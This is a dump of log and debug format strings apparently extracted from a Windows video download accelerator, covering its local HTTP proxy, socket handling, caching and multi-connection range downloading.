[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function BuildHeader field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - GetCookie: %s

HTTP/1.1

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function SetRanges field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error ParseHeader

HttpProxyRemote::UpdateRequest

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - Redirected: %d

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateRequest failed.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d *** ReStarting the job ***.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateDomainName %s failed.

[HttpProxyRemote::ReStartCurrentJob]

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error - Reached max redirections: %d

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The error was not handled.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Worker Status was set to WORKER_STATUS_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Job State was set to JOB_STATE_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - network error is Permanent !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - reached Maximum errors !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Network Error severity: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d, JobState:%d ___Error - range download flag is %d, m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d - Completed !

[HttpProxyRemote::UpdateParameters] ___Error invalid job or request

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d - Already connected

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: socket is not ready for writing.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: worker is not ready for download - State: %s

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Already Connected to IP:%s.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Error: The function UpdateParameters failed.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Starting %lld-%lld (size: %lld)

HttpProxyRemote::StartJob

[HttpProxyRemote::StartRecoveredJob] FDM=%d (%d),Req:%d

[RequestInfo::DownloadAccelerated] Req:%d - Accelerate: %d

[RequestInfo::SetPassThrough] Req:%d - ON

[RequestInfo] Req:%d

[~RequestInfo] Req:%d

https:

%s=%s%s%s

[HttpCookieJar::GetCookie] Removing cookie: %s

[HttpCookieJar::SetCookies] Removing cookie: %s

[NetworkEventsSink::RefreshSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::RefreshAsyncSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::ClearSocketMessages] Messages: %d

[NetworkEventsSink::Find] socket %d - was found.

[NetworkEventsSink::Find] socket %d

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was removed from the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was not found in the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d

[NetworkEventsSink::WindowProc] Finished %s (%d) on socket %d. Err: %d

[NetworkEventsSink::WindowProc] ___Error %s occured (event %x) on socket %d

[NetworkEventsSink::WindowProc] *** %s occured on socket %d, Err: %d.

UNSUPPORTED_EVENT

[NetworkEventsSink::Work] ___Error creating a windows. LE: %d.

[NetworkEventsSink::Work] The class %s was register.

[NetworkEventsSink::Work] ___Error register the class %s. LE: %d

[NetworkEventsSink::RemoveSocket] socket %d - Removed from events sink.

[NetworkEventsSink::RemoveSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveSocket] ___Error WSAAsyncSelect on socket %d. LE: %d.

[NetworkEventsSink::RemoveAsyncSocket] socket %d - Removed from events sink

[NetworkEventsSink::RemoveAsyncSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddToSocketsMap] ___Warning - socket %d already exists in sockets map.

[NetworkEventsSink::AddToSocketsMap] socket %d - was added to sockets map.

[NetworkEventsSink::AddSocket] socket %d - Added events sink.

[NetworkEventsSink::AddSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddSocket] ___Error adding socket %d to sockets map.

[NetworkEventsSink::AddAsyncSocket] socket %d - Added to events sink

[NetworkEventsSink::AddAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddAsyncSocket] ___Error adding socket %d to sockets map.

[CNetworkInterfaceManager::GetNumberOfInterfaces] Count: %d

[CNetworkInterfaceManager::RegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::GetCellularInterfaceAddress] %s - %s

[CNetworkInterfaceManager::GetWifiInterfaceAddress] %s - %s

[CNetworkInterfaceManager::UnRegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::VerifyInterface] Network Interface: %s

[CNetworkInterfaceManager::UpdateLocalIPs] Total: %d

[CNetworkInterfaceManager::UpdateLocalIPs] LocalHost IP: %s

[CHttpCacheManager::Cleanup] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::CreateCacheData] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::FindCacheData] Url: %s

Cookie: %s

[CHttpCacheManager::DestroyCacheData] Url: %s

[CHttpCacheManager::StopAllCaching] Try to stop - CD:%d, Domain: %s

[CHttpCacheManager::StopAllCaching]

[CHttpCacheManager::Work] ...Leave

[CHttpCacheManager::Work] Cleanup - LastAccess: %d, LastCleanup: %d, Interval: %d -> %d

[CHttpCacheManager::Work] Enter...

[AsyncSocket::Listen] ___Error listening on socket %d. LE: %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d -> %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected or invalid.

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected. ret: %d, LE: %d

[AsyncSocket::Read] socket %d, Read: %d, Total: %lld

[AsyncSocket::Read] ___Warning - socket %d can't read from yet.

[AsyncSocket::Read] ___Error reading from socket %d. LE: %d

[AsyncSocket::Read] ___Warning - socket %d is not ready to read from.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld. (BytesWrittenSinceLastSecond: %d)

[AsyncSocket::Write] ___Error - socket %d. LE: %d.

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing. LE: WSAEWOULDBLOCK.

[AsyncSocket::Write] ___Warning - socket %d. LE: WSAENOBUFS, reducing buffer size...

[AsyncSocket::Write] ___Error - socket %d failed writing for %d seconds !!!

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing (wait for FD_WRITE event).

[AsyncSocket::Write] ___Error - socket %d invalid.

[AsyncSocket::SetSockName] socket %d, IP: %s, Port: %u

%u.%u.%u.%u

[AsyncSocket::SetPeerName] socket %d, IP: %s, Port: %u

[AsyncSocket::SetMaximumBPSToWrite] socket %d - Max Bps: %d

[AsyncSocket::EnumNetworkEvents] socket %d - Events: %X, Signaled: %X

[AsyncSocket::Ioctl] socket %d, cmd: %d, argp: %p, pOverlapped: %p

[AsyncSocket::GetOverlappedResult] socket %d

[AsyncSocket] socket %d

[AsyncSocket::Initialize] socket %d was initialized.

[AsyncSocket::Initialize] ___Error registering on the network events for socket %d.

[AsyncSocket::Initialize] socket %d - changed SO_SNDBUF: %d

[AsyncSocket::Initialize] socket %d - SO_SNDBUF: %d

[AsyncSocket::UnInitialize] socket %d

[AsyncSocket::Close] socket %d, do nothing

[AsyncSocket::Close] socket %d ___Error RemoveIgnoredConnection

[AsyncSocket::Close] socket %d

[~AsyncSocket] socket %d

[AsyncSocket::Bind] ___Error binding socket %d to port: %u. LE: %d

[AsyncSocket::Bind] new socket %d - %s : %d

[AsyncSocket::Bind] socket %d - %s : %d

[AsyncSocket::Connect] socket %d - connected !

[AsyncSocket::Connect] ___Warning socket %d - Async connecting... LE: %d

[AsyncSocket::Connect] ___Error socket %d, LE: %d

[AsyncSocket::Connect] socket %d - Already connected !

[AsyncSocket::Connect] ___Error socket %d - Already connected to another IP: %s, Port: %u

[AsyncSocket::Connect] socket %d - IP: %s, Port: %u

[CProxyServerPassThrough::SocketReadyToWriteInto] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasConnected] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d) - SocketReadyToReadFrom

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d)

[CProxyServerPassThrough::ErrorOnSocket] FDM=%d (%d)

[CProxyServerPassThrough] FDM=%d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error adding port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) socket %d - going to add port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error GetSockName, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error binding socket %d, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - After writing %d bytes into upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Going to write the %d bytes into the upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Read %d bytes from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) ___Error connecting, LE: %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connected to %s : %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connecting to %s : %d

[HttpProxyServer::ConnectToServer] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error getting the destination details. Local: %s:%d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) - Local: %s:%d, Remote: %s:%d, PID: %d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error GetDestinationIpAndPort

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error getting the connected IP and Port

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error ConnectToServer

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) - Going to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error not enough memory to allocate ProxyPeer.

[SubjectDataProperty::Serialize] ___Error not supported yet

[SubjectDataProperty::Deserialize] ___Error not supported yet

m_PropertyValue.pszValue

m_PropertyValue.pValue

[SubjectDataProperty::GetValue(int)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(UINT)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(DWORD)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(char*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[SubjectDataProperty::GetValue(BYTE*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[CacheManager::GetCacheWriter] FDM=%d, Dummy - CacheWriter: %p

[CacheManager::GetCacheWriter] FDM=%d, Real - CacheWriter: %p

[CacheManager::Pause] FDM=%d

[CacheManager::Resume] FDM=%d

[CacheManager::SetCacheData] FDM=%d - CD:%d (pICacheData: %p)

[CacheManager::SetFileDownloadMgr] FDM=%d - pIFileDownloadMgr: %p, DownloadSize: %lld

[CacheManager::IsWritingComplete] FDM=%d *** Writing Completed *** (%lld >= %lld)

[CacheManager::StopCacheData] FDM=%d - CacheData has incomplete HTTP header - going to destroy it...

[CacheManager::StopCacheData] FDM=%d

[CacheManager::Stop] FDM=%d

[CacheManager::FindWorkerByRange] FDM=%d - Cache Worker Found!

[CacheManager::FindWorkerByRange] FDM=%d ... Cache Worker range: %lld-%lld

[CacheManager::FindWorkerByRange] FDM=%d ___Error pJobInfo invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error pICacheWorker invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error Cache Workers list is empty

[CacheManager::FindWorkerByRange] FDM=%d - Find Chache Worker of range: %lld-%lld

[CacheManager::WriteAvailableBuffer] FDM=%d *** Reached end of Workers list ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - Not finished yet. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p ___Warning Failed to write from cache. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - WORKER_STATUS_ERROR

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Set Active ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Cache Worker Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Cache Manager Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Workers list is empty ***

[CacheManager::WriteAvailableBuffer] FDM=%d - Not Working ! (State: %d)

[CacheManager::WriteAvailableBuffer] FDM=%d - State: %d

[CacheManager::RemoveAllWorkers] FDM=%d

[~CacheManager - %p] FDM=%d

[CacheManager::Reset] FDM=%d

[CacheManager::CreateWorker] FDM=%d - Already has an Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Set Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Created CacheWorker: %p, Active is: %p

[JobsManager::MergeFailedJobs] Job:%d  = Job:%d

[JobsManager::CreateJob] Job:%d, %lld-%lld

[JobsManager::CreateJob] ___Warning Job:%d, %lld-%lld, already exist

[JobsManager::CreateTimeJob] Job:%d, %lld-0

[JobsManager::DestroyJob] Job:%d

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Time Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetInitialRanges] FDM=%d - Update InitialRangeSize: %lld (bytes)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning - Master downloaded more then its range (%lld > %lld). Reducing number of connection to %d

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error Time Acceleration: LastTimeEndPosition   InitialTimeRangeSize > StartTimePosition   TotalPlayDuration (%lld   %lld > %lld   %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error LastEndPosition >= StartPosition   DownloadSize - 1 (%lld >= %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error RangeIndex > NumberOfConnections (%d > %d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning AccelerationLogic == AL_NO_ACCELERATION

[AccelerationLogicHD::SetTimeStartPosition] FDM=%d - Start Time Position: %lld (%lld)

[AccelerationLogicHD::SetLastTimeEndPosition] FDM=%d - Last Time End Position: %lld (%lld)

[AccelerationLogicHD::IsToUseOriginalRequest] Res = %s.

[AccelerationLogicHD::IsPartner] Partner = %d

[AccelerationLogicHD::CalculateRangeSizeLimit] ___Warning SizeLimit %d RangeSize cut from %d to %d

[AccelerationLogicHD::CalculateRangeSizeLimit] FDM=%d - Size limit: %lld

[AccelerationLogicHD::UpdateToRegistryValues] BufferingTime: %d

[AccelerationLogicHD::UpdateToRegistryValues] DelayTime: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MinimumRangeSize: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeSize was reduced to the maximum range size: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeSize was increased to: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - MaxRangeSizePerConnection: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - Did not finish downloading the pre-buffering: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seonds play time: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all ranges

[AccelerationLogicHD::CalculateNextRangeSize] WorkerBps: %d

[AccelerationLogicHD::CalculateNextRangeSize] PlayRate: %d

[AccelerationLogicHD::CalculateNextRangeSize] 3G: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeTimeSize was set to the maximum range time size %.1f

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeTimeSize was increased to %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MaxRangeTimeSizePerConnection %lld

[AccelerationLogicHD::GetMinTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialRangeSize] %d (bytes)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - In about: %.1f seconds

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seconds play time: %lld bytes

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - PlayerPosition >= DownloadPosition (%lld >= %lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Download Potential Buffering Predicted *** - TimeLeftToDownload: %.1f

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 10 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 5 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait until finish downloading the player initial cache...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Active job has completed

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Time acceleration is not supported yet...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Error invalid pJobInfo

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Range Size: %lld (%d), 3G: %d

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Time Range Size: %lld (%d), 3G: %d

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastTimeEndPosition   InitialTimeRangeSize (%lld   %lld) > StartTimePosition   TotalPlayDuration (%lld   %lld)

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastEndPosition (%lld) >= StartPosition   DownloadSize - 1 (%lld   %lld)

[AccelerationLogicHD::AccelerateIsSupported] FDM=%d ___Warning - No rule for this domain

AccelerationLogicHD::AccelerateIsSupported

[AccelerationLogicHD::GetRedirectRuleName] FDM=%d - %s

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Enable Acceleration - DownloadRate: %d, PlayTime: %d (Delay: %d)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Range Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last Time End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Time Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Network too slow for acceleration - wait for pre-buffer to complete... (%d < 7KBps)

[AccelerationLogicHD::FileShouldBeAccelerated] ___Warning - aktimeoffset not supported

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Trail expired

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule pointer for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Server is known to not support ranges

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - not a GET command

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Number of connection is set to one

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max TimeRangeSize: %lld (ms)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max RangeSize: %lld (bytes)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - MaxNumberOfConnections: %d

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - iTunes

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - QuickTimeWinInet

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d ___Error - invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPartner] ___Error - get module filename: %d

[AccelerationLogicHD::Reset] FDM=%d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Range Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Rule Location: %d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d ___Error - invalid m_pRedirectDomainRule

[CConnectionsManager::OnStartAcceleration] Max: %d, Init: %d, AvgBps: %d

[CConnectionsManager::ResetStartAcceleration] AvgBps: %d

[CConnectionsManager::GetNumberOfConnections] Decreased to: %d, AvgBps: %d (%d)

[CConnectionsManager::GetNumberOfConnections] Increased to: %d, AvgBps: %d (%d)

[CConnectionsManagerSocket] socket %d

[CConnectionsManagerSocket::OnReadEvent] socket %d

[CConnectionsManagerSocket::OnWriteEvent] socket %d

[CConnectionsManagerSocket::OnCloseEvent] socket %d

[CConnectionsManagerSocket::OnAcceptEvent] socket %d

[CConnectionsManagerSocket::OnConnectEvent] socket %d

[~CConnectionsManagerSocket] socket %d

[CConnectionsManager::OnReadEvent] socket %d

[CConnectionsManager::OnWriteEvent] socket %d

[CConnectionsManager::OnConnectEvent] socket %d - Connect Time: %d ms

[CConnectionsManager::PrepareAccelerationConnections] Max: %d, Remote: %s:%d

[CConnectionsManager::AddConnection] socket %d - Remote: %s:%d

[CConnectionsManager::AddConnection] ___Warning socket %d - not connected

[CConnectionsManager::Work] Remote: %s:%d - Done.

[CConnectionsManager::Work] ___Error Connect socket %d

[CConnectionsManager::Work] ___Error AsyncSocket Initialize. LE: %x

[CConnectionsManager::Work] Add socket %d - Remote: %s:%d

[CConnectionsManager::Work] Remote: %s:%d

[CConnectionsManager::Cleanup] %d sockets left in map

[CConnectionsManager::Cleanup] Cleaning %d sockets from map

[CConnectionsManager::RemoveConnection] socket %d

[CConnectionsManager::GetConnection] *** Found socket %d - %s:%d (3G: %d)***

[CConnectionsManager::GetConnection] socket %d - Not matching - %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not ready for Writing or not Connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - GetPeerName

[CConnectionsManager::GetConnection] ___Warning socket %d - GetInternalFlag(SOCKET_IS_CELLULAR) - %d

[CConnectionsManager::GetConnection] Remote: %s:%d, 3G: %d

[CConnectionsManager::OnCloseEvent] socket %d

lighttpd/1.4.8

[AccelerationLogic::SetPlayDuration] FDM=%d - Play Duration: %lld

[AccelerationLogic::SetDownloadSize] FDM=%d - Download size: %lld (%lld)

[AccelerationLogic::SetTotalFileSize] FDM=%d - Total File size: %lld

[AccelerationLogic::SetStartPosition] FDM=%d - Start Position: %lld (%lld)

[AccelerationLogic::SetLastEndPosition] FDM=%d - Last End Position: %lld (%lld)

[AccelerationLogic::SetNumberOfConnections] FDM=%d - Max Connections: %d

[AccelerationLogic::SetInitialNumberOfConnections] FDM=%d - Initial Connections: %d

[AccelerationLogic::SetMaximumRangeSize] FDM=%d - Max Range Size: %lld

[AccelerationLogic::SetMaximumBpsToWriteIntoSocket] FDM=%d - Max BPS: %d

[AccelerationLogic::SetRequestRangeLocation] Request Range Location: %d

[AccelerationLogic::UpdateBytesWritten] FDM=%d, Job:%d (3G: %d) - BytesWritten: %lld, TotalBytesWritten: %lld (%lld   %lld)

[AccelerationLogic::ReportOnStartPlay] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::ReportOnDownloadComplete] FDM=%d (3G: %d)

[AccelerationLogic::IsResponseRangeBiggerThenMaster] FDM=%d ___Warning - Range >= Master (%lld >= %lld)

[AccelerationLogic::IsToIncreaseWorkers] FDM=%d - Increased connections to: %d (%d)

[AccelerationLogic::SetPlayRate] FDM=%d - Play Rate: %d

[AccelerationLogic::UpdateBytesDownloaded] FDM=%d, Job:%d (3G: %d) - BytesDownloaded: %lld, TotalBytesDownloaded: %lld (%lld   %lld)

[AccelerationLogic::CalculateNextRangeSize] PlayTimeLeft %d

[AccelerationLogic::CalculateNextRangeSize] WorkerBps %d

[AccelerationLogic::CalculateNextRangeSize] nPlayTime %d

[AccelerationLogic::CalculateAverageWorkerBPS] FDM=%d - Total Average BPS: %d, Worker Average BPS: %d (%d/%d)

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Rule Domain Name: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - Using generic rule

AppleWebKit

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - No Rule for Domain: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Look for rule using - Host: %s, ContentType: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Error getting IAccelerationConfiguration

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s is not %s

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s was not found.

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d ___Error GetRequestRangeLocation failed.

AccelerationLogic::AccelerateIsSupported

[AccelerationLogic::ReportOnRequestFinished] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::UpdateFileContentType] FDM=%d - ContentType: %s

[AccelerationLogic::UpdateRequestURI] FDM=%d - URI: %s

[AccelerationLogic::UpdateFileHost] FDM=%d - Host: %s

[AccelerationLogic::UpdateFileContentDisposition] FDM=%d - Content-Disposition: %s

[AccelerationLogic::UpdateUserAgent] FDM=%d - User-Agent: %s, Download: %d

NonSupportRangeServersList

[AccelerationLogic::IsResponseCodeValid] *** Acceleration is not supported by the server ***. The response code %s is not %s

[AccelerationLogic::CreateAnyRule] FDM=%d

[AccelerationLogic::FileShouldBeAccelerated] DailyMotion seek not supported

[AccelerationLogic::IsOurConnection] FDM=%d *** Acceleration is not allowed ***. Module: %s

[AccelerationLogic::Reset] FDM=%d

[~AccelerationLogic - %p] FDM=%d - ... Leave

[~AccelerationLogic - %p] FDM=%d - Enter ...

